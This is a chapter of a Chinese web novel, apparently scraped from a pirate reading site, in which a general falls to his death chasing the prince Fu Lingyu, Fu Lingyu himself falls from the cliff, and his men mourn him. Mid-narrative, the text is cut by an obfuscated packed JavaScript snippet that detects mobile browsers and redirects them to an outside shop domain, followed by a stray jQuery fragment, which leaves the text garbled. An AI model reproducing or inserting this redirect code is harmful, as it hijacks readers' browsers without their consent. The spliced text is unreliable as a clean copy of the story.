刘恒一直用望眼镜看向远去的傅凌煜。
突然看见傅凌煜回了回头,朝着拓跋宏方向露出一丝意味深长的浅笑。
他大感不好,立刻追上去阻拦,“拓跋宏,快回来,别中计!”
这时候注意到,傅凌煜离开的方向已经偏离曾经的驻扎营地。
很明显是故意引拓跋宏跟上的,前面肯定有更大的陷阱。
拓跋宏此时听不进去,继续往前追:“你这个孬种,别阻拦老子!”
“他现在还有什么有计可施?别被他那些小伎俩给欺骗了!”
刘恒急忙加快速度,很快与他并行,“你别冲动,他即便无计可施,可不会白白送死!”
“这方向已经偏离他们营地了,肯定有问题,你……”
“走开!”拓跋宏根本听不进去,怒声大吼:“你贪生怕死就别跟着,老子得到一等功时别眼红。”
“这一次不除掉他是夜长梦多,必须尽快解决!”
随即就加快了速度,与刘恒拉开了距离。
他边追边放人放箭,傅凌煜的人同样在时不时回头放箭。
刘恒已经停下,气愤大吼:“要找死就自己去,遇到你这样的队伍真倒霉!”
手下这时来到了他身边,皱眉看着远去的身影,“将军,我们真的不跟上去?”
“不跟!”刘恒黑着脸冷声道:“让我们都人都别去,老子才不会让将士白白送死!”
“若傅凌煜已经走投无路,定会拉着敌人一起陪葬,这就是他的性子!”
此时傅凌煜等人没有减速,冲进了一处林子里面。
拓跋宏等人追进去,立马有石头从天而降,不少人被砸的措手不及。
也有人避开了石头,继续往前追。
拓跋宏一直盯着傅凌煜的身影,“你**花样儿真多,还真是小看你了。”
“不过没关系,老子人多,今日必须将你拿下!”
傅凌煜回头看了一眼,继续策马奔腾,很快就出了林子。
就在这时,拓跋宏面色一惊,“不好,前面是悬崖!他想同归于尽!”
傅凌煜等人在千钧一发之际,迅速跃下马背,同时也倒下悬崖。
“驭……!”拓跋宏勒紧缰绳,突然马蹄脚下出现绷紧的绳子。
顿时人仰马翻,人跟马都朝着悬崖坠去。
“啊……”
一时间空气中回荡着马儿与人的惨叫声。
拓跋宏坠下悬崖那一刻,看见傅凌煜悬挂在崖壁上,手中拽着藤蔓。
“傅凌煜!你阴险小人……!”
霎那间,下方传来重物砸地面的声音,空气中也充斥着血腥味儿。
陈副将攥紧绳子,低头看了一眼,下方有云雾遮挡,根本看不见。
“哈哈哈……我们成功了,可惜刘恒那叛徒没有一起!我们还牺牲了不少弟兄……”
很快上方传来打斗声,时不时有人掉下来,上面还有拓跋红的人。
傅凌煜仰头看了一眼,“先上去再说,这藤蔓不能支撑太久。”
有人已经用脚在崖壁上借力,跃上悬崖上方。
也有武功弱的顺着藤蔓往上爬。
这一次他们还是有人跳下时没能抓住藤蔓而掉落。
咔嚓!
傅凌煜的藤蔓发出断裂的声音。
刚上去的流云震惊,急忙趴下要伸手去拉藤蔓。
可藤蔓要断裂之处根本够不着,内心焦急不已:“殿下,快想办法抓住旁边的!”
这些藤蔓之间的距离不算很近。
想要抓住不是那么容易的。
傅凌煜神色凝重,他的位置就正好没有能踩的地方,脚完全是悬空的。
哪怕想要借力,脚也蹬不到峭壁。
流云急忙喊陈副将,“快拿绳子过来,快点儿!”
“来了来了!”陈副将急忙拿着绳子往下扔。
眼看绳子快落下,藤蔓就“砰”的一下断裂,他身子迅速往下坠落。
流云跟陈副将震惊瞪大眼。
仿佛时间在这一刻变得缓慢,眼睁睁看着傅凌煜消失子云雾中。
“殿下……!”流云嘶吼出声,眼眶猩红,渐渐湿润。
“不要……!”陈副将吼破了声,喉咙一股血腥味儿。
不知过了多久,流云红着眼眶起身,看向大蛮士兵的眼神充满恨意。
他握紧长剑,疯魔般冲上去一通乱杀,锁国之处都是身首异处。
没多久就尸横遍野,地面鲜红,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16967382|185595||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
大蛮士兵直接全部身亡。
流云如泄气的皮球,剑掉落在地,转身跌跌撞撞走到悬崖边。
“殿下!啊……”他撕心长吼,眼泪滚落。
活着的将士都放下剑,走到悬崖边跪下,神色沉重地磕头。
陈副将跪在了流云旁边,同样红了眼眶,“营地那边还需要我们,若有机会活着,我们就下去寻找殿下。”
为了这一杖,剩下的粮食他们已经吃了,撤回原营地的将士们都饿着肚子。
现在他们还是得回到原来的营地,以防刘恒带兵过去。
哪怕真的没办法逆转,他们也不会白白等死,死之前也要给敌人一个痛击。
流云被陈副将拉了起来,“走吧。”
“殿下……”流云红着眼看着悬崖,“你放心,再怎么难,我们也不会向敌人低头的。”
说罢闭眸转身,攥紧拳头看向远处,眼中充满戾气。
他们还是将同伴的尸体就地掩埋才离开。
回去时没有原路返回,刘恒等人或许未曾离开。
在他们前脚刚离开不久,后脚刘恒就带着人赶了过来。
刘恒走到边缘看了一眼,看着那么深的悬崖,腿脚都有点发软。
手下眼尖地发现,枯枝上有拓跋宏的衣角,“将军,拓跋宏掉下去了。”
“知道。”刘恒眯起眸子,“我早就说过,傅凌煜在无计可施时,定会拉着敌人一起陪葬!”
“边上有埋尸的痕迹,这说明傅凌煜的人没有死完。”
手下眉头紧锁,“那拓跋宏的死,要跟大蛮皇帝怎么汇报?”
“自然是如实汇报。”刘恒眼眸微微眯起,“那么多人都能作证,我有阻止过。”
“拓跋宏跟来的手下中,也有还活着的伤员,他们也是证人。”
“呵呵……拓跋宏**也好,这样的猪队友留着是祸害。”
说罢转身就负手离去。
尸体也没有要处理的意思。
半个时辰后,流云等人已经回到原来到营地中。
流雨急忙迎上前,脸上露出喜色,“我就说你们肯定不会有事,终于盼着你们回来了。”
说着视线往流云后方,疑惑问:“殿下怎么没有一起回来?”